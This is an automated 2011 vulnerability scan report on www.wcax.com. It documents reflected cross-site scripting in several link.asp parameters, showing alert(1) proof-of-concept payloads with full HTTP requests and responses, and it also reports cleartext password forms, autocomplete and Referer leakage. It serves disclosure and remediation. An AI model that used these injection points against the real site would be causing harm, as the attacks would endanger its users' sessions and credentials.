XSS, www.wcax.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 12 10:32:42 CDT 2011.

Loading

1. Cross-site scripting (reflected)

1.1. http://www.wcax.com/Global/link.asp [name of an arbitrarily supplied request parameter]

1.2. http://www.wcax.com/global/interface/httprequest/hrproxy.asp [url parameter]

1.3. http://www.wcax.com/global/link.asp [function parameter]

1.4. http://www.wcax.com/global/link.asp [mode parameter]

1.5. http://www.wcax.com/global/link.asp [referrer parameter]

2. Cleartext submission of password

3. Password field with autocomplete enabled

3.1. http://www.wcax.com/global/PM/registration.asp

3.2. http://www.wcax.com/global/PM/registration.asp

4. Cross-domain Referer leakage

4.1. http://www.wcax.com/Global/category.asp

4.2. http://www.wcax.com/Global/category.asp

4.3. http://www.wcax.com/Global/category.asp

4.4. http://www.wcax.com/Global/category.asp

4.5. http://www.wcax.com/Global/category.asp

4.6. http://www.wcax.com/Global/link.asp

4.7. http://www.wcax.com/Global/story.asp

4.8. http://www.wcax.com/Global/story.asp

4.9. http://www.wcax.com/Global/story.asp

4.10. http://www.wcax.com/Global/story.asp

4.11. http://www.wcax.com/build.asp

4.12. http://www.wcax.com/global/link.asp

5. Cross-domain script include

5.1. http://www.wcax.com/

5.2. http://www.wcax.com/Global/category.asp

5.3. http://www.wcax.com/Global/category.asp

5.4. http://www.wcax.com/Global/category.asp

5.5. http://www.wcax.com/Global/link.asp

5.6. http://www.wcax.com/Global/story.asp

5.7. http://www.wcax.com/Global/story.asp

5.8. http://www.wcax.com/build.asp

6. Email addresses disclosed

6.1. http://www.wcax.com/Global/story.asp

6.2. http://www.wcax.com/build.asp


1. Cross-site scripting (reflected)  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.wcax.com/Global/link.asp [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/link.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ae67'-alert(1)-'3ecbfdbef18 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Global/link.asp?L=408799&1ae67'-alert(1)-'3ecbfdbef18=1 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352293178:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS10
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
ntCoent-Length: 26061
Cache-Control: private, max-age=300
Expires: Sat, 09 Apr 2011 12:39:03 GMT
Date: Sat, 09 Apr 2011 12:34:03 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 26061

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>WCAX Vermo
...[SNIP]...
<script type="text/javascript">
$('#Frame1').attr('src','http://www.vermontopia.com/event/?L=408799&1ae67'-alert(1)-'3ecbfdbef18=1&referrerDomain=www.wcax.com');
</script>
...[SNIP]...
1.2. http://www.wcax.com/global/interface/httprequest/hrproxy.asp [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wcax.com
Path:   /global/interface/httprequest/hrproxy.asp

Issue detail

The value of the url request parameter is copied into the HTML document as plain text between tags. The payload c6a9e<a>86d1ec594e was submitted in the url parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /global/interface/httprequest/hrproxy.asp?url=http%3A%2F%2Fwp.myweather.net%2Fwxdata%2Ffiveday.asp%3Fpub%3Dwdnw%26s%3Dkbtvc6a9e<a>86d1ec594e&rand=98263 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=18197
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352451310:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS54
P3P: CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/xml; charset=utf-8
ntCoent-Length: 93
Cache-Control: private, max-age=277
Date: Sat, 09 Apr 2011 12:34:19 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 93

<?xml version="1.0"?>
<!-- 200 - fiveday: KBTVC6A9E<A>86D1EC594E not found
--><datamissing/>
1.3. http://www.wcax.com/global/link.asp [function parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /global/link.asp

Issue detail

The value of the function request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38f44'-alert(1)-'4014e68a00c was submitted in the function parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /global/link.asp?L=104054&function=manageprofile38f44'-alert(1)-'4014e68a00c&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/link.asp?L=398823
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352689361:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS07
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 25813
Cache-Control: private, max-age=843
Date: Sat, 09 Apr 2011 12:38:23 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 25813

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Registrati
...[SNIP]...
<script type="text/javascript">
$('#Frame1').attr('src','/global/PM/registration.asp?L=104054&function=manageprofile38f44'-alert(1)-'4014e68a00c&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823&referrerDomain=www.wcax.com');
</script>
...[SNIP]...
1.4. http://www.wcax.com/global/link.asp [mode parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /global/link.asp

Issue detail

The value of the mode request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a495'-alert(1)-'4b87acb98b2 was submitted in the mode parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /global/link.asp?L=104054&function=manageprofile&mode=create3a495'-alert(1)-'4b87acb98b2&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/link.asp?L=398823
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352689361:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: iis06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 25813
Cache-Control: private, max-age=900
Date: Sat, 09 Apr 2011 12:38:24 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 25813

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Registrati
...[SNIP]...
<script type="text/javascript">
$('#Frame1').attr('src','/global/PM/registration.asp?L=104054&function=manageprofile&mode=create3a495'-alert(1)-'4b87acb98b2&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823&referrerDomain=www.wcax.com');
</script>
...[SNIP]...
1.5. http://www.wcax.com/global/link.asp [referrer parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /global/link.asp

Issue detail

The value of the referrer request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8fdd3'-alert(1)-'cdf0dafd5c5 was submitted in the referrer parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /global/link.asp?L=104054&function=manageprofile&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D3988238fdd3'-alert(1)-'cdf0dafd5c5 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/link.asp?L=398823
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352689361:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS10
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 25809
Cache-Control: private, max-age=886
Date: Sat, 09 Apr 2011 12:38:25 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 25809

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Registrati
...[SNIP]...
<script type="text/javascript">
$('#Frame1').attr('src','/global/PM/registration.asp?L=104054&function=manageprofile&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D3988238fdd3'-alert(1)-'cdf0dafd5c5&referrerDomain=www.wcax.com');
</script>
...[SNIP]...
2. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /global/PM/registration.asp

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /global/PM/registration.asp?L=104054&function=manageprofile&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823&referrerDomain=www.wcax.com HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/global/link.asp?L=104054&function=manageprofile&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352695263:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: iis57
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/html; charset=utf-8
ntCoent-Length: 36961
Expires: Sat, 09 Apr 2011 12:38:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 09 Apr 2011 12:38:22 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: EmailAddress=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Set-Cookie: FirstName=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Set-Cookie: UserName=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Set-Cookie: REGISTRATION=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Set-Cookie: SuppliedProfileFields=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Content-Length: 36961


<html>
<head id="Head1"><title>
   Create Account
</title><link href="mem.css" type="text/css" rel="STYLESHEET" />
<script language="javascript" src="/global/interface/jq.js" type="text/javasc
...[SNIP]...
<div id="MainDiv">
<form name="form1" method="post" action="UserProfile.aspx?L=104054&amp;function=manageprofile&amp;mode=create&amp;referrer=http%3a%2f%2fwww.wcax.com%2fGlobal%2flink.asp%3fL%3d398823&amp;referrerDomain=www.wcax.com" id="form1" onsubmit="return Validate();">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTkwMjU2NDE0NQ9kFgICAw9kFhACAQ8WAh4EVGV4dAXIATxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CjwhLS0KdmF
...[SNIP]...
<br />
<input id="Password" type="password" maxLength="60" size="32" name="Password" value="" />
</td>
...[SNIP]...
<br />
<input id="VerifyPassword" type="password" maxLength="60" size="32" name="VerifyPassword" value="" />
</td>
...[SNIP]...
3. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

3.1. http://www.wcax.com/global/PM/registration.asp  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /global/PM/registration.asp

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /global/PM/registration.asp?L=104054&function=manageprofile&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823&referrerDomain=www.wcax.com HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/global/link.asp?L=104054&function=manageprofile&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352695263:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: iis57
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/html; charset=utf-8
ntCoent-Length: 36961
Expires: Sat, 09 Apr 2011 12:38:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 09 Apr 2011 12:38:22 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: EmailAddress=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Set-Cookie: FirstName=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Set-Cookie: UserName=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Set-Cookie: REGISTRATION=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Set-Cookie: SuppliedProfileFields=; expires=Mon, 09-Apr-2001 12:38:22 GMT; path=/
Content-Length: 36961


<html>
<head id="Head1"><title>
   Create Account
</title><link href="mem.css" type="text/css" rel="STYLESHEET" />
<script language="javascript" src="/global/interface/jq.js" type="text/javasc
...[SNIP]...
<div id="MainDiv">
<form name="form1" method="post" action="UserProfile.aspx?L=104054&amp;function=manageprofile&amp;mode=create&amp;referrer=http%3a%2f%2fwww.wcax.com%2fGlobal%2flink.asp%3fL%3d398823&amp;referrerDomain=www.wcax.com" id="form1" onsubmit="return Validate();">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTkwMjU2NDE0NQ9kFgICAw9kFhACAQ8WAh4EVGV4dAXIATxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CjwhLS0KdmF
...[SNIP]...
<br />
<input id="Password" type="password" maxLength="60" size="32" name="Password" value="" />
</td>
...[SNIP]...
<br />
<input id="VerifyPassword" type="password" maxLength="60" size="32" name="VerifyPassword" value="" />
</td>
...[SNIP]...
3.2. http://www.wcax.com/global/PM/registration.asp  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /global/PM/registration.asp

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /global/PM/registration.asp?L=104054&function=manageprofile&mode=login&referrer=http%3A//www.wcax.com/global/link.asp%3FL%3D104054%26function%3Dmanageprofile%26mode%3Dcreate%26referrer%3Dhttp%253A//www.wcax.com/Global/link.asp%253FL%253D398823&referrerDomain=www.wcax.com HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/global/link.asp?L=104054&function=manageprofile&mode=login&referrer=http%3A//www.wcax.com/global/link.asp%3FL%3D104054%26function%3Dmanageprofile%26mode%3Dcreate%26referrer%3Dhttp%253A//www.wcax.com/Global/link.asp%253FL%253D398823
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352702175:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: iis57
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/html; charset=utf-8
ntCoent-Length: 6336
Expires: Sat, 09 Apr 2011 12:38:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 09 Apr 2011 12:38:28 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: EmailAddress=; expires=Mon, 09-Apr-2001 12:38:28 GMT; path=/
Set-Cookie: FirstName=; expires=Mon, 09-Apr-2001 12:38:28 GMT; path=/
Set-Cookie: UserName=; expires=Mon, 09-Apr-2001 12:38:28 GMT; path=/
Set-Cookie: REGISTRATION=; expires=Mon, 09-Apr-2001 12:38:28 GMT; path=/
Set-Cookie: SuppliedProfileFields=; expires=Mon, 09-Apr-2001 12:38:28 GMT; path=/
Content-Length: 6336


<HTML>
   <head id="Head1"><title>
   Login
</title><link href="mem.css" type="text/css" rel="STYLESHEET" />
       <script language="JavaScript" src="memcommon.js?ver=20090220" type="text/javascript"></
...[SNIP]...
<div id="MainDiv">
           <form name="form1" method="post" action="Login.aspx?L=104054&amp;function=manageprofile&amp;mode=login&amp;referrer=http%3a%2f%2fwww.wcax.com%2fglobal%2flink.asp%3fL%3d104054%26function%3dmanageprofile%26mode%3dcreate%26referrer%3dhttp%253A%2f%2fwww.wcax.com%2fGlobal%2flink.asp%253FL%253D398823&amp;referrerDomain=www.wcax.com" id="form1" onsubmit="return Validate();">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE5MzU4ODMxMTEPZBYCAgMPZBYEAgUPD2QWBB4FY2xhc3MFBGJvZHkeBXN0eWxlBRJmb250LXdlaWdodDogYm9sZDtkAgsPFgIeB1Zpc2libGVoZGTWhfTIea1ZJa4
...[SNIP]...
</span>
                        <input name="LoginPassword" type="password" id="LoginPassword" tabIndex="2" maxlength="60" size="25" />
                        </td>
...[SNIP]...
4. Cross-domain Referer leakage  previous  next
There are 12 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

4.1. http://www.wcax.com/Global/category.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/category.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/category.asp?C=189321 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/story.asp?S=465801
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302353981562:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS11
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
ntCoent-Length: 63503
Cache-Control: private, max-age=300
Expires: Sat, 09 Apr 2011 13:20:59 GMT
Date: Sat, 09 Apr 2011 13:15:59 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 63503

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Phollowing
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
